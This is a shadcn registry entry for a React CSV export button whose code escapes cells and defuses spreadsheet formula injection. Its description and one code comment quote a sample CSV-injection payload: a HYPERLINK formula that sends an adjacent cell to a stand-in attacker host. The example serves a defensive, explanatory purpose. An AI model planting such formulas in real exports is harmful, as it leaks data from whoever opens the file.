{
  "$schema": "https://ui.shadcn.com/schema/registry-item.json",
  "name": "csv-export-button",
  "title": "CSV Export Button",
  "description": "A button that turns rows into a CSV file the browser saves — with the two things the inline version gets wrong already handled: the spreadsheet formulas hiding in your data, and the fact that the page is usually only holding one page of the table. Reach for it wherever a table, list or report has to leave the app: the Export button on an admin or data table, a billing, invoice or transactions history, an analytics or reporting screen, a contacts, subscribers, leads or members list, an orders or inventory export, an audit or activity log, a survey's responses, a time-tracking or payroll report, the download half of a GDPR or account data request, and any \"download results\" next to a search or filter. Common asks it answers: \"export to CSV react\", \"csv export button\", \"download csv button react\", \"export table to csv\", \"react download csv from json\", \"json to csv frontend\", \"client-side csv export\", \"react-csv alternative\", \"CSVLink alternative\", \"papaparse unparse alternative\", \"export data grid to csv\", \"csv download without server\", \"excel export react\", \"csv utf-8 excel garbled\", \"csv 文字化け excel\", \"csv injection prevention\", \"escape csv formula\", \"shadcn export button\", \"shadcn csv\". Official shadcn/ui has nothing here — csv, blob, createObjectURL and download appear in none of its sixty-odd components — so an agent asked for an export writes it inline, and the inline version is four lines that are wrong in ways nobody sees on the machine that wrote them. The first is a security bug, not a formatting one. A cell whose text starts with =, +, - or @ is a formula to Excel, Sheets and LibreOffice, so a value that came from a user — a display name, a note field, a ticket subject — executes on the machine of whoever opens the export; =HYPERLINK(\"https://evil.example/?d=\"&A1,\"Click\") quietly ships the row beside it, and the WEBSERVICE, IMPORTXML and DDE families have been used the same way for years. It is filed as CSV injection, and the tempting fix does not work: a spreadsheet strips the quotes while parsing and evaluates what is left, so \"=1+1\" is still a formula and the field itself has to change. Every cell is prefixed with the text marker OWASP recommends — including the tab and carriage return that are stripped on the way in and leave the next character at the front of the cell, and including the headers, which are cells too. The over-correction is handled as well: -42 also starts with a dangerous character, and a version that prefixes it turns every negative number into text so the column stops adding up, so anything that reads as a plain number is left exactly as it is, while +44 20 7946 0000 is prefixed — correct twice over, since Excel would otherwise show #NAME? where the phone number should be. The second failure is quieter: the inline version exports the array the page happens to hold, which on any paginated screen is one page of it, so \"Export all\" writes 50 of 12,000 rows and looks like it worked. That is why rows also takes a function — return the full set, or a promise for a fetch of it, and the button shows a spinner, goes aria-busy and refuses the second press, which is the double-click that otherwise downloads the file twice or runs the expensive query twice. The rest is the detail a four-line version has no room for. Values containing a comma, a quote or a newline are quoted per RFC 4180 with inner quotes doubled — the newline being the one that splits a record in two and lands every following row one column over, a file that opens fine and is wrong from row 400 down. Records are joined with CRLF, and that is not an option, because making it one is how the file ends up with the LF endings some Windows tooling renders as a single line. The download carries a UTF-8 BOM, because Excel does not detect UTF-8 in a CSV and falls back to the machine's legacy code page — without it every accent, umlaut, Japanese character and emoji arrives as mojibake — and the BOM is put in the file's bytes rather than in the returned text, where an invisible U+FEFF glued to the first header would break a comparison nobody can see. The anchor is inserted into the document before it is clicked, since Firefox ignores a click on an element outside the tree, and the object URL is revoked afterwards but on a later task: an un-revoked one pins the whole exported table in memory for the life of the document, while revoking inside the click's own task cancels the download it was created for. Columns are derived from the union of keys across every row rather than off row zero, so a field only the later rows carry is not silently dropped; declare them instead as a bare property name, or as {header, value} to rename, reorder or compute. Dates become ISO 8601 because a file is read later, elsewhere, by someone whose locale nobody here knows; NaN and Infinity are written empty rather than as words that would break a column's total; and delimiter, header line, sanitising and cell formatting are all overridable. Empty results with no declared columns download nothing and say so, rather than handing over a zero-byte file that reads as a broken button. Every outcome is announced through a polite live region and then cleared, so exporting twice is announced twice — an icon swap is not an event. toCsv, sanitizeCsvCell, escapeCsvCell, formatCsvValue, resolveColumns and downloadCsvFile are exported for reuse. It is the mirror of pulld file-dropzone and upload-list, which take a file in. One file, two lucide icons, no CSV library; every colour is a shadcn token, so it follows light and dark.",
  "dependencies": [
    "lucide-react"
  ],
  "files": [
    {
      "path": "registry/ui/csv-export-button.tsx",
      "content": "\"use client\"\n\nimport * as React from \"react\"\nimport { Download, Loader2 } from \"lucide-react\"\n\nimport { cn } from \"@/lib/utils\"\n\n/** One column of the exported file: what the header says, and how the cell is read from a row. */\nexport interface CsvColumn<Row> {\n  /** Header text written in the first line. */\n  header: string\n  /** Computes the cell — a field, two of them joined, something nested, an id turned into a label. */\n  value: (row: Row) => unknown\n}\n\n/**\n * What `columns` accepts.\n *\n * A bare property name is shorthand for reading that property under its own name, which is the\n * common case. Everything else — renaming a column, computing one, reordering them — is the object\n * form. There is deliberately no third spelling that names a property *and* a header: it would\n * overlap with both of these, and a column carrying a property name beside a function of its own\n * leaves a reader working out which of the two the file will actually hold.\n */\nexport type CsvColumnInput<Row> = (keyof Row & string) | CsvColumn<Row>\n\n/** Expands the shorthand form into the pair the writer works with. */\nfunction resolveColumn<Row>(column: CsvColumnInput<Row>): CsvColumn<Row> {\n  return typeof column === \"string\"\n    ? { header: column, value: (row) => (row as Record<string, unknown>)[column] }\n    : column\n}\n\n/**\n * The columns to write, either as given or worked out from the rows.\n *\n * When no columns are declared, the keys are collected across **every** row rather than off the\n * first one. Rows that come back from an API are routinely sparse — a `deleted_at` that is only\n * present on the rows that have one — and reading the first row alone drops that column from the\n * file entirely for everybody. First-seen order is kept, so the common case still comes out in the\n * order the objects were built.\n */\nexport function resolveColumns<Row>(\n  rows: readonly Row[],\n  columns?: readonly CsvColumnInput<Row>[]\n): CsvColumn<Row>[] {\n  if (columns) return columns.map((column) => resolveColumn<Row>(column))\n  const keys = new Set<string>()\n  for (const row of rows) {\n    if (row && typeof row === \"object\") for (const key of Object.keys(row)) keys.add(key)\n  }\n  return [...keys].map((key) => ({\n    header: key,\n    value: (row: Row) => (row as Record<string, unknown>)[key],\n  }))\n}\n\n/**\n * Turns one cell value into the text that goes in the file.\n *\n * Dates become ISO 8601 on purpose, and it is the opposite call from a date being shown to someone:\n * a file is read later, elsewhere, by a person or a script whose locale nobody here knows, and\n * `03/04/2026` is two different days depending on which side of the Atlantic it is opened on. Note\n * that a spreadsheet treats an ISO instant as text rather than as a date value — if the column has\n * to arrive as a real date in Excel, format it yourself through `formatCell`.\n *\n * `NaN` and `Infinity` are written as empty rather than as the words, because a spreadsheet reading\n * \"NaN\" back gets a text cell in the middle of a numeric column, which breaks the column's total\n * without saying so. Objects and arrays are JSON — throwing on a circular structure rather than\n * writing something unparseable — and `null`/`undefined` are empty, which is what a blank cell is.\n */\nexport function formatCsvValue(value: unknown): string {\n  if (value === null || value === undefined) return \"\"\n  if (typeof value === \"string\") return value\n  if (typeof value === \"number\") return Number.isFinite(value) ? String(value) : \"\"\n  if (typeof value === \"boolean\" || typeof value === \"bigint\") return String(value)\n  if (value instanceof Date) return Number.isNaN(value.getTime()) ? \"\" : value.toISOString()\n  if (typeof value === \"object\") return JSON.stringify(value) ?? \"\"\n  return String(value)\n}\n\n/**\n * The characters that make a spreadsheet treat a cell as a formula instead of as data.\n *\n * `=`, `+`, `-` and `@` are the four every spreadsheet evaluates; tab and carriage return are on\n * OWASP's list too, because both are stripped on the way in and leave the next character sitting at\n * the front of the cell.\n */\nconst FORMULA_START = /^[=+\\-@\\t\\r]/\n\n/** A string a spreadsheet would read as a plain number, and so must not be turned into text. */\nconst NUMERIC = /^[-+]?(\\d+\\.?\\d*|\\.\\d+)([eE][-+]?\\d+)?$/\n\n/**\n * Defuses a cell that a spreadsheet would otherwise execute.\n *\n * This is the half of CSV writing that is a security bug rather than a formatting one. A cell whose\n * text starts with `=`, `+`, `-` or `@` is a formula to Excel, Sheets and LibreOffice, so a value\n * that came from a user — a display name, a note field, a support ticket subject — runs on the\n * machine of whoever opens the export. `=HYPERLINK(\"https://evil.example/?d=\"&A1,\"Click\")` quietly\n * ships the row next to it; the `WEBSERVICE`, `IMPORTXML` and `DDE` families have been used the\n * same way for years. It is filed as CSV injection, and it is the reason this component exists\n * rather than a `rows.map(r => r.join(\",\"))` in the page.\n *\n * Quoting does not help. A spreadsheet strips the quotes while parsing and evaluates what is left,\n * so `\"=1+1\"` is still a formula — the field has to be changed, not wrapped. The fix OWASP gives is\n * a leading apostrophe, which is the text marker a spreadsheet already understands.\n *\n * The exception is the one a naive version gets wrong in the other direction: `-42` also starts\n * with a dangerous character, and prefixing it turns every negative number in the file into text,\n * so the column stops adding up. Anything that reads as a plain number is left exactly as it is.\n * `+44 20 7946 0000` is not a number, and is prefixed — which is correct twice over, since Excel\n * would otherwise show `#NAME?` where the phone number should be.\n */\nexport function sanitizeCsvCell(text: string): string {\n  if (!FORMULA_START.test(text) || NUMERIC.test(text)) return text\n  return `'${text}`\n}\n\n/**\n * Quotes one cell per RFC 4180: wrap it when it contains the delimiter, a quote or a line break,\n * and double any quote inside.\n *\n * The line-break case is the one hand-rolled writers forget. A textarea value with a newline in it\n * splits into two lines mid-record, and every row after it lands in the wrong column — a file that\n * opens fine and is wrong from row 400 down.\n */\nexport function escapeCsvCell(text: string, delimiter = \",\"): string {\n  const needsQuotes =\n    text.includes(delimiter) || text.includes('\"') || text.includes(\"\\n\") || text.includes(\"\\r\")\n  return needsQuotes ? `\"${text.replace(/\"/g, '\"\"')}\"` : text\n}\n\nexport interface CsvOptions<Row> {\n  /** Columns to write. Worked out from the rows when omitted. */\n  columns?: readonly CsvColumnInput<Row>[]\n  /** Field separator. `;` is what Excel expects in locales whose list separator is a semicolon. */\n  delimiter?: string\n  /** Whether to write the header line. */\n  includeHeader?: boolean\n  /** Guard against formula injection. Only turn it off for a file no spreadsheet will open. */\n  sanitize?: boolean\n  /** Replaces the default value-to-text conversion. */\n  formatCell?: (value: unknown) => string\n}\n\n/**\n * Writes the rows as CSV text.\n *\n * Records are joined with CRLF, which is what RFC 4180 specifies and what every parser accepts;\n * that is not an option here, because making it one is how the file ends up with the LF endings\n * that some Windows tooling renders as a single line.\n *\n * The returned string carries no byte-order mark — see {@link downloadCsvFile}, which adds it to\n * the file. A BOM belongs to the bytes, not to the text: leaving it in the string would put an\n * invisible U+FEFF at the front of the first header of anything that goes on to POST this to an API\n * or hash it, where it breaks a comparison nobody can see.\n */\nexport function toCsv<Row>(rows: readonly Row[], options: CsvOptions<Row> = {}): string {\n  const {\n    columns,\n    delimiter = \",\",\n    includeHeader = true,\n    sanitize = true,\n    formatCell = formatCsvValue,\n  } = options\n  const resolved = resolveColumns(rows, columns)\n  const cell = (value: unknown) => {\n    const text = formatCell(value)\n    return escapeCsvCell(sanitize ? sanitizeCsvCell(text) : text, delimiter)\n  }\n\n  const lines: string[] = []\n  // Headers go through the same pipeline as the data. They are cells too, and a column named by a\n  // user — a spreadsheet import that kept its original column names, a custom field — can carry the\n  // same payload as any other value.\n  if (includeHeader) lines.push(resolved.map((column) => cell(column.header)).join(delimiter))\n  for (const row of rows) {\n    lines.push(resolved.map((column) => cell(column.value(row))).join(delimiter))\n  }\n  return lines.join(\"\\r\\n\")\n}\n\n/** The UTF-8 byte-order mark, spelled as an escape because the character itself is invisible. */\nconst BOM = \"\\uFEFF\"\n\n/** Firefox needs the object URL to outlive the click's own task before it is released. */\nconst REVOKE_DELAY_MS = 40\n\n/** Gives the file a `.csv` extension when the caller did not supply an extension of their own. */\nexport function withCsvExtension(filename: string): string {\n  return /\\.[a-z0-9]+$/i.test(filename) ? filename : `${filename}.csv`\n}\n\nexport interface CsvDownloadOptions {\n  /**\n   * Write a UTF-8 byte-order mark. On by default, and it should stay on for any file a person will\n   * open: Excel does not detect UTF-8 in a CSV, it falls back to the machine's legacy code page, so\n   * without the BOM every non-ASCII character — accents, umlauts, Japanese, emoji, the £ sign —\n   * arrives as mojibake. Turn it off for a file being parsed by a program, where the extra bytes\n   * show up glued to the first header.\n   */\n  bom?: boolean\n}\n\n/**\n * Hands `csv` to the browser as a downloaded file.\n *\n * The two things a four-line version leaves out are both here. The anchor is put into the document\n * before it is clicked, because Firefox ignores a click on an element that is not in the tree. And\n * the object URL is revoked afterwards — an un-revoked one pins its blob, which is to say the whole\n * exported table, in memory for the life of the document, and a page whose export button gets\n * pressed a few times is holding every copy. Revoking is deferred rather than immediate, because\n * releasing the URL in the same task as the click cancels the download it was created for.\n */\nexport function downloadCsvFile(\n  filename: string,\n  csv: string,\n  { bom = true }: CsvDownloadOptions = {}\n): void {\n  const parts = bom ? [BOM, csv] : [csv]\n  const url = URL.createObjectURL(new Blob(parts, { type: \"text/csv;charset=utf-8\" }))\n  const anchor = document.createElement(\"a\")\n  anchor.href = url\n  anchor.download = withCsvExtension(filename)\n  anchor.rel = \"noopener\"\n  anchor.style.display = \"none\"\n  document.body.appendChild(anchor)\n  anchor.click()\n  anchor.remove()\n  window.setTimeout(() => URL.revokeObjectURL(url), REVOKE_DELAY_MS)\n}\n\n/** How long an announcement stays in the live region before it is cleared. */\nconst ANNOUNCE_MS = 5000\n\nexport interface CsvExportButtonProps<Row>\n  extends Omit<React.ComponentPropsWithoutRef<\"button\">, \"onError\"> {\n  /**\n   * The rows to export, or a function that produces them.\n   *\n   * Pass a function when the file should hold more than the page is holding — it may return a\n   * promise, and the button shows a spinner and blocks a second press until it settles. See\n   * {@link CsvExportButton} for why that is usually the right shape.\n   */\n  rows: readonly Row[] | (() => readonly Row[] | Promise<readonly Row[]>)\n  /** Columns to write, in file order. Worked out from the rows when omitted. */\n  columns?: readonly CsvColumnInput<Row>[]\n  /** Name of the saved file. `.csv` is appended when there is no extension. */\n  filename?: string\n  /** Delimiter, header line, sanitising and cell formatting. */\n  options?: Omit<CsvOptions<Row>, \"columns\">\n  /** Write a UTF-8 BOM so Excel reads the file as UTF-8. */\n  bom?: boolean\n  /** Fired once the file has been handed to the browser. */\n  onExport?: (info: { rowCount: number; filename: string }) => void\n  /** Fired when producing the rows or writing the file threw. The button returns to rest. */\n  onError?: (error: unknown) => void\n}\n\ntype ExportStatus = \"idle\" | \"busy\"\n\n/**\n * A button that turns rows into a CSV file the browser saves.\n *\n * Reach for it wherever a table, list or report has to leave the app: an admin table's \"Export\",\n * a billing or transactions history, an analytics or report screen, a contacts, subscribers or\n * leads list, an audit log, a survey's responses, a GDPR data request. It is the mirror of\n * pulld file-dropzone and upload-list, which take a file in.\n *\n * Two things separate this from the inline version everyone writes. The first is that the inline\n * version is a security bug: user-supplied text starting with `=`, `+`, `-` or `@` is executed by\n * the spreadsheet that opens the file — see {@link sanitizeCsvCell} — and quoting does not stop it.\n * The second is quieter. The inline version exports the array the page happens to be holding, which\n * on any paginated screen is one page of it, so \"Export all\" silently writes 50 of 12,000 rows and\n * looks like it worked. That is why `rows` also takes a function: return the full set from it, or\n * a promise for a fetch of it, and the button handles the waiting.\n *\n * While that promise is outstanding the button is disabled and `aria-busy`, so a second press\n * cannot start a second export — the double-click that otherwise downloads the same file twice, or\n * fires the same expensive query twice. Nothing is downloaded if the rows arrive empty and there\n * are no declared columns, since a file with neither headers nor rows is a zero-byte download that\n * reads as a broken button; the reason is announced instead. With columns declared, the header-only\n * file is written, because that is a real answer to \"there were no results\".\n *\n * Every state change is announced through a polite live region rather than through the icon, since\n * an icon swap is not an event and reaches nobody using a screen reader. The announcement is\n * cleared a few seconds later so that exporting twice in a row is announced twice — a live region\n * whose text is re-set to the string it already holds says nothing.\n */\nexport function CsvExportButton<Row>({\n  rows,\n  columns,\n  filename = \"export.csv\",\n  options,\n  bom = true,\n  onExport,\n  onError,\n  onClick,\n  children,\n  disabled,\n  className,\n  ...props\n}: CsvExportButtonProps<Row>) {\n  const [status, setStatus] = React.useState<ExportStatus>(\"idle\")\n  const [message, setMessage] = React.useState(\"\")\n  const alive = React.useRef(true)\n\n  React.useEffect(() => {\n    alive.current = true\n    return () => {\n      alive.current = false\n    }\n  }, [])\n\n  React.useEffect(() => {\n    if (!message) return\n    const id = window.setTimeout(() => setMessage(\"\"), ANNOUNCE_MS)\n    return () => window.clearTimeout(id)\n  }, [message])\n\n  const busy = status === \"busy\"\n\n  async function handleClick(event: React.MouseEvent<HTMLButtonElement>) {\n    // The caller's own onClick is invoked here rather than being left to the spread below. Props are\n    // spread after this handler is attached, so an onClick coming in through them would replace the\n    // export instead of running beside it — a button that still looks and sounds right and exports\n    // nothing.\n    onClick?.(event)\n    if (event.defaultPrevented || busy) return\n\n    setStatus(\"busy\")\n    setMessage(\"Preparing export\")\n    try {\n      const resolvedRows = typeof rows === \"function\" ? await rows() : rows\n      if (!alive.current) return\n      // Resolved once, checked, and then handed to the writer, so the guard is asking about the\n      // file that would actually be written. Having no columns means no header and no cells\n      // whatever the row count — rows that are not objects, rows carrying no keys of their own,\n      // an empty column list — and that file is the same content-free download as the no-rows\n      // case, so it gets the same answer instead of a blob of empty lines reported as a success.\n      const resolved = resolveColumns(resolvedRows, columns)\n      if (resolved.length === 0) {\n        setStatus(\"idle\")\n        setMessage(\"Nothing to export\")\n        return\n      }\n      const name = withCsvExtension(filename)\n      downloadCsvFile(name, toCsv(resolvedRows, { ...options, columns: resolved }), { bom })\n      setStatus(\"idle\")\n      setMessage(\n        `Downloaded ${resolvedRows.length} row${resolvedRows.length === 1 ? \"\" : \"s\"} as ${name}`\n      )\n      onExport?.({ rowCount: resolvedRows.length, filename: name })\n    } catch (error) {\n      if (!alive.current) return\n      setStatus(\"idle\")\n      setMessage(\"Export failed\")\n      onError?.(error)\n    }\n  }\n\n  return (\n    <>\n      <button\n        type=\"button\"\n        onClick={handleClick}\n        disabled={disabled || busy}\n        aria-busy={busy}\n        className={cn(\n          \"inline-flex h-9 items-center justify-center gap-2 rounded-md border border-input bg-transparent px-3 text-sm font-medium text-foreground transition-colors hover:bg-accent hover:text-accent-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50\",\n          className\n        )}\n        {...props}\n      >\n        {busy ? (\n          <Loader2 className=\"h-4 w-4 shrink-0 animate-spin\" aria-hidden=\"true\" />\n        ) : (\n          <Download className=\"h-4 w-4 shrink-0\" aria-hidden=\"true\" />\n        )}\n        {children ?? \"Export CSV\"}\n      </button>\n      {/* The live region is a sibling rather than a child, which is the difference between a button\n          that announces its result and a button whose name keeps changing. A button takes its\n          accessible name from its contents, visually hidden ones included, so a region inside it\n          would have this read as \"Export CSV, Downloaded 2 rows as export.csv\" for as long as the\n          announcement lasted. (An icon-only button like pulld copy-button can hold its own region,\n          because its name comes from an explicit aria-label that wins over the contents.) It is\n          absolutely positioned by sr-only, so it takes part in no layout it is dropped into. */}\n      <span aria-live=\"polite\" className=\"sr-only\">\n        {message}\n      </span>\n    </>\n  )\n}\n",
      "type": "registry:ui"
    }
  ],
  "type": "registry:ui",
  "docs": "Install any pulld component by name: add \"@pulld\": \"https://pulld.pages.dev/r/{name}.json\" to the registries block in components.json, then `npx shadcn add @pulld/<name>`. All 103 components: https://pulld.pages.dev/?utm_source=cli"
}
